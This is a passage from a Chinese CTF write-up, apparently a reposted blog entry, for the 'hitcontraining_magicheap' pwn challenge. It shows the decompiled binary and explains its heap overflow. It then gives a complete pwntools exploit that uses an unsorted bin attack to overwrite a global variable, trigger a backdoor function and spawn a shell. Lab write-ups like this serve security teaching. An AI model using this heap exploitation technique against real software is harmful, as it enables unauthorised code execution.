zoukankan      html  css  js  c++  java
  • pwn-hitcontraining_magicheap(unsorted bin attack)

    查看保护:

     main:

    int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
    {
      int v3; // eax
      char buf; // [rsp+0h] [rbp-10h]
      unsigned __int64 v5; // [rsp+8h] [rbp-8h]
    
      v5 = __readfsqword(0x28u);
      setvbuf(_bss_start, 0LL, 2, 0LL);
      setvbuf(stdin, 0LL, 2, 0LL);
      while ( 1 )
      {
        while ( 1 )
        {
          menu();
          read(0, &buf, 8uLL);
          v3 = atoi(&buf);
          if ( v3 != 3 )
            break;
          delete_heap();
        }
        if ( v3 > 3 )
        {
          if ( v3 == 4 )
            exit(0);
          if ( v3 == 4869 )
          {
            if ( (unsigned __int64)magic <= 0x1305 )
            {
              puts("So sad !");
            }
            else
            {
              puts("Congrt !");
              l33t();
            }
          }
          else
          {
    LABEL_17:
            puts("Invalid Choice");
          }
        }
        else if ( v3 == 1 )
        {
          create_heap();
        }
        else
        {
          if ( v3 != 2 )
            goto LABEL_17;
          edit_heap();
        }
      }
    }

    create:

    gned __int64 create_heap()
    {
      signed int i; // [rsp+4h] [rbp-1Ch]
      size_t size; // [rsp+8h] [rbp-18h]
      char buf; // [rsp+10h] [rbp-10h]
      unsigned __int64 v4; // [rsp+18h] [rbp-8h]
    
      v4 = __readfsqword(0x28u);
      for ( i = 0; i <= 9; ++i )
      {
        if ( !heaparray[i] )
        {
          printf("Size of Heap : ");
          read(0, &buf, 8uLL);
          size = atoi(&buf);
          heaparray[i] = malloc(size);
          if ( !heaparray[i] )
          {
            puts("Allocate Error");
            exit(2);
          }
          printf("Content of heap:", &buf);
          read_input(heaparray[i], size);
          puts("SuccessFul");
          return __readfsqword(0x28u) ^ v4;
        }
      }
      return __readfsqword(0x28u) ^ v4;
    }

    edit:

    int edit_heap()
    {
      __int64 v1; // [rsp+0h] [rbp-10h]
      __int64 v2; // [rsp+8h] [rbp-8h]
    
      printf("Index :");
      read(0, (char *)&v1 + 4, 4uLL);
      LODWORD(v1) = atoi((const char *)&v1 + 4);
      if ( (signed int)v1 < 0 || (signed int)v1 > 9 )
      {
        puts("Out of bound!");
        _exit(0);
      }
      if ( !heaparray[(signed int)v1] )
        return puts("No such heap !");
      printf("Size of Heap : ", (char *)&v1 + 4, v1);
      read(0, (char *)&v1 + 4, 8uLL);
      v2 = atoi((const char *)&v1 + 4);
      printf("Content of heap : ", (char *)&v1 + 4, v1);
      read_input(heaparray[(signed int)v1], v2);
      return puts("Done !");
    }

    delete:

    int delete_heap()
    {
      int v1; // [rsp+8h] [rbp-8h]
      char buf; // [rsp+Ch] [rbp-4h]
    
      printf("Index :");
      read(0, &buf, 4uLL);
      v1 = atoi(&buf);
      if ( v1 < 0 || v1 > 9 )
      {
        puts("Out of bound!");
        _exit(0);
      }
      if ( !heaparray[v1] )
        return puts("No such heap !");
      free((void *)heaparray[v1]);
      heaparray[v1] = 0LL;
      return puts("Done !");
    }

    l33t是后门函数,想要触发需要使位于bss(unsigned __int64)magic <= 0x1305。

     这里使用unsorted bin attack把magic修改为较大的值,但值是用户无法控制的

    unsorted bin attack详见:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unsorted_bin_attack-zh/

    exp:

    #!/usr/bin/python
    
    from pwn import *
    
    context.log_level = 'debug'
    #a=remote("node3.buuoj.cn",29492)
    a=process("/root/magicheap")
    #libc=ELF("libc.so.6")
    magic=0x6020a0
    def add(size,content):
        a.sendlineafter('Your choice :','1')
        a.sendlineafter('Size of Heap : ',str(size))
        a.sendlineafter('Content of heap:',content)
    
    def edit(idx,size,content):
        a.sendlineafter('Your choice :','2')
        a.sendlineafter('Index :',str(idx))
        a.sendlineafter('Size of Heap : ',str(size))
        a.sendlineafter('Content of heap : ',content)
    
    def dele(idx):
        a.sendlineafter('Your choice :','3')
        a.sendlineafter('Index :',str(idx))
    
    add(0x20,'a') #idx 0;
    add(0x80,'b') #idx 1;大于MINSIZE,free后被放入unsortedbin
    add(0x20,'c') #idx 2;防止与top chunk合并
    dele(1)
    edit(0,0x40,'a'*0x20+p64(0)+p64(0x91)+p64(0)+p64(magic-0x10)) #修改bk=magic-0x10
    add(0x80,'d')
    a.sendline("4869")
    #gdb.attach(a)
    a.interactive()

    利用溢出修改idx 1,因为fd没有起到作用所以可以设置为任意值。根据unsortedbin的FIFO特性,

    edit后重新申请就会申请到magic-0x10。之后输入4869就能getshell

  • 相关阅读:
    都不敢上CSDN了
    什么是函数(function)?
    今天3/8妇女节
    一件有意思的事情:关于std::string和std::auto_ptr
    转两篇Link相关的文章
    DevIL Downloads
    状态模式(State Pattern)
    访问者模式(Visitor Pattern)
    羊皮卷的故事第二章
    备忘录模式(Memento Pattern)
  • 原文地址:https://www.cnblogs.com/remon535/p/14005025.html
Copyright © 2011-2022 走看看